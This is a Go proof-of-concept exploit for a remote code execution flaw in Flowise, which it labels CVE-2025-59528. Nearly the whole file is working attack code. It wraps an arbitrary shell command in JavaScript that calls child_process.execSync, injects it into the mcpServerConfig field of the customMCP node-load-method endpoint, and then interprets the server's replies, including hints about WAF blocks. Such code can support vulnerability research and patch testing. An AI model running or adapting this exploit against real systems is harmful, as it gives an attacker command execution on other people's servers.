// Go PoC for Flowise RCE CVE-2025-59528 // https://www.cve.org/CVERecord?id=CVE-2025-59528 package main import ( "bytes" "encoding/json" "fmt" "io" "net/http" "net/url" "os" "strings" "time" ) type InputsConfig struct { McpServerConfig string `json:"mcpServerConfig"` } type Payload struct { LoadMethod string `json:"loadMethod"` Inputs InputsConfig `json:"inputs"` } func main() { if len(os.Args) != 4 { fmt.Print("Usage: go run main.go \n\n") fmt.Print("Example: go run main.go http://target.com h3D_9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc \"touch /tmp/pwned\"\n\n") os.Exit(1) } const mcpTemplate = `({x:(function(){const cp = process.mainModule.require('child_process');cp.execSync("%s");return 1;})()})` rawURL := os.Args[1] parsedURL, err := url.Parse(rawURL) if err != nil { fmt.Fprintf(os.Stderr, "[-] Error parsing URL: %v\n", err) os.Exit(1) } hasValidScheme := parsedURL.Scheme == "http" || parsedURL.Scheme == "https" hasValidHost := parsedURL.Host != "" cleanPath := strings.TrimSpace(parsedURL.Path) hasSubPath := cleanPath != "" && cleanPath != "/" if !hasValidScheme || !hasValidHost || hasSubPath { fmt.Println("[-] Error: Invalid target URL format.") fmt.Println("Please only provide the base URL in the format: http://target.com or https://target.com") fmt.Println("Do not include additional endpoints or omit the protocol scheme.") os.Exit(1) } targetBaseURL := fmt.Sprintf("%s://%s", parsedURL.Scheme, parsedURL.Host) targetURL := fmt.Sprintf("%s/api/v1/node-load-method/customMCP", targetBaseURL) apiKey := os.Args[2] commandToExecute := fmt.Sprintf(mcpTemplate, os.Args[3]) payload := Payload { LoadMethod: "listActions", Inputs: InputsConfig { McpServerConfig: commandToExecute, }, } jsonBytes, err := json.Marshal(payload) if err != nil { fmt.Fprintf(os.Stderr, "[-] Failed to marshal JSON: %v\n", err) os.Exit(1) } req, err := http.NewRequest("POST", targetURL, bytes.NewBuffer(jsonBytes)) if err != nil { fmt.Fprintf(os.Stderr, "[-] Failed to create request: %v\n", err) os.Exit(1) } req.Header.Set("Content-Type", "application/json") req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", apiKey)) client := &http.Client{Timeout: 10 * time.Second} resp, err := client.Do(req) if err != nil { fmt.Fprintf(os.Stderr, "[-] Connection failed: %v\n", err) os.Exit(1) } defer resp.Body.Close() bodyBytes, err := io.ReadAll(resp.Body) if err != nil { fmt.Fprintf(os.Stderr, "[-] Failed to read response body: %v\n", err) } responseString := string(bodyBytes) switch resp.StatusCode { case http.StatusOK: fmt.Printf("[+] Status 200 OK: Command was likely executed.\n") if len(responseString) > 0 { fmt.Printf("[*] Server Response Data:\n%s\n", responseString) fmt.Printf("[*] Do not worry if you get a message saying \"No available actions, please check your API key and refresh\", it can be safely ignored.") } case http.StatusUnauthorized: fmt.Printf("[-] Status 401 Unauthorized: Please double check your API Key.\n") fmt.Printf("[*] Server Message: %s\n", responseString) case http.StatusForbidden: fmt.Printf("[-] Status 403 Forbidden: Request blocked. Check around for WAFs or IP restrictions.\n") case http.StatusNotFound: fmt.Printf("[-] Status 404 Not Found: Please double check the provided URL.\n") case http.StatusInternalServerError: fmt.Printf("[-] Status 500 Internal Server Error: The server crashed or blocked.\n") if len(responseString) > 0 { fmt.Printf("[*] Server Error Details:\n%s\n", responseString) } default: fmt.Printf("[!] Received unexpected Status Code %d\n", resp.StatusCode) if len(responseString) > 0 { fmt.Printf("[*] Raw Response:\n%s\n", responseString) } } }